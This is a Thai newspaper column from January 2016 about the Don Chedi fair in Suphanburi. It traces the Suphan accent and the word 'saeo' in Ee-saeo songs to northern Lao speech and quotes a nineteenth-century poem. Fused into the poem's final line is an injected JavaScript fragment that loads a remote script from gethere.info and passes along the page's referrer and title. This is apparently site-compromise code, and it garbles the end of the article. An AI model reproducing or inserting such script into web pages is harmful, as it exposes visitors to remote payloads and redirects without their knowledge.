มติชนรายวัน ฉบับประจำวันจันทร์ที่ 18 มกราคม 2559

 

งานดอนเจดีย์ ที่สุพรรณ

ทุกคืน มีมหรสพเหน่อๆ

         งานดอนเจดีย์ ที่สุพรรณ เริ่มวันนี้ มีข่าวจากทางการว่าจัดประกวดสุนทรพจน์สำเนียงเหน่อ แล้วมีโขนและเพลงอีแซวแสดงทุกคืน

         เหน่อสุพรรณ (ลุ่มน้ำเจ้าพระยา) มีรากเหง้าเค้าต้นจากสำเนียงลาว (ลุ่มน้ำโขง) ปัจจุบันยังเหลือสืบเนื่องอยู่ในสำเนียงลาวเหนือ เช่น สำเนียงหลวงพระบาง

ลาวคัง (ครั่ง) ที่บ้านโคก อ. อู่ทอง จ. สุพรรณบุรี

ลาวคัง (ครั่ง) ที่บ้านโคก อ. อู่ทอง จ. สุพรรณบุรี

 

         ลาวคัง (ไทยเรียกลาวครั่ง) ทั้งในสุพรรณบุรีและจังหวัดอื่นๆในไทย พูดสำเนียงลาวเหนือ เพราะโยกย้ายลงมาตั้งแต่สมัย ร.3 จากภูคัง (ภูเขาชื่อคัง) เมืองหลวงพระบาง ถ้าอยากเทียบสำเนียงว่าใกล้กันจริงไหม? ไปฟังได้สำเนียงชาวบ้านพูดลาวคังในชีวิตประจำวัน

         ราวหลัง พ.ศ. 1900 เหน่อสุพรรณ เป็นสำเนียงหลวงอยุธยา แล้วเป็นสำเนียงเจรจาโขน เพราะพระราชาจากรัฐสุพรรณภูมิยึดอำนาจ ได้เป็นพระเจ้าแผ่นดินกรุงศรีอยุธยา

         นอกจากนั้น เพลงอีแซว เมืองสุพรรณ ก็ได้ชื่อเรียกตามคำลาว เพราะคำว่า “แซว” ยังมีใช้ในคำลาว หมายถึง แจวเรือ, ตีกรรเชียงเรือ ฯลฯ

         อี เป็นคำยกย่องเรียกสิ่งของเป็นเพศหญิง เช่น อีดาบ คือ มีดดาบ ส่วน อีแซว คือ ไม้แซว ใช้ตีกรรเชียงเรือ และให้จังหวะเพลงอีแซวนี้

         สมัย ร.5 ยังใช้คำว่าแซว แปลว่า แจว, ถ่อ ฯลฯ มีในนิราศเมืองหลวงพระบาง [ของ นายร้อยเอก หลวงทวยหาญรักษา (เพิ่ม) พิมพ์ครั้งแรก พ.ศ. 2434] พรรณนาตอนปราบฮ่อที่เมืองแถน (เดียนเบียนฟู ในเวียดนาม) เสร็จแล้ว ยกทัพกลับเมืองน่านทางน้ำ โดยต่อแพล่องลงมา ให้ทหารถ่อพายจากลำน้ำนัว เข้าลำน้ำอู มีกลอนตอนหนึ่งว่า

         แพลอยวนคนแซวไม่แคล่วคล่อง              ช้ากว่าล่องแพเนื่องจากเมืองเหนือ

         จะพายถ่อก็ไม่คล่องเหมือนล่องเรือ           เห็นเต็มเบื่อวิบากกรรมต้องทำเนาs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;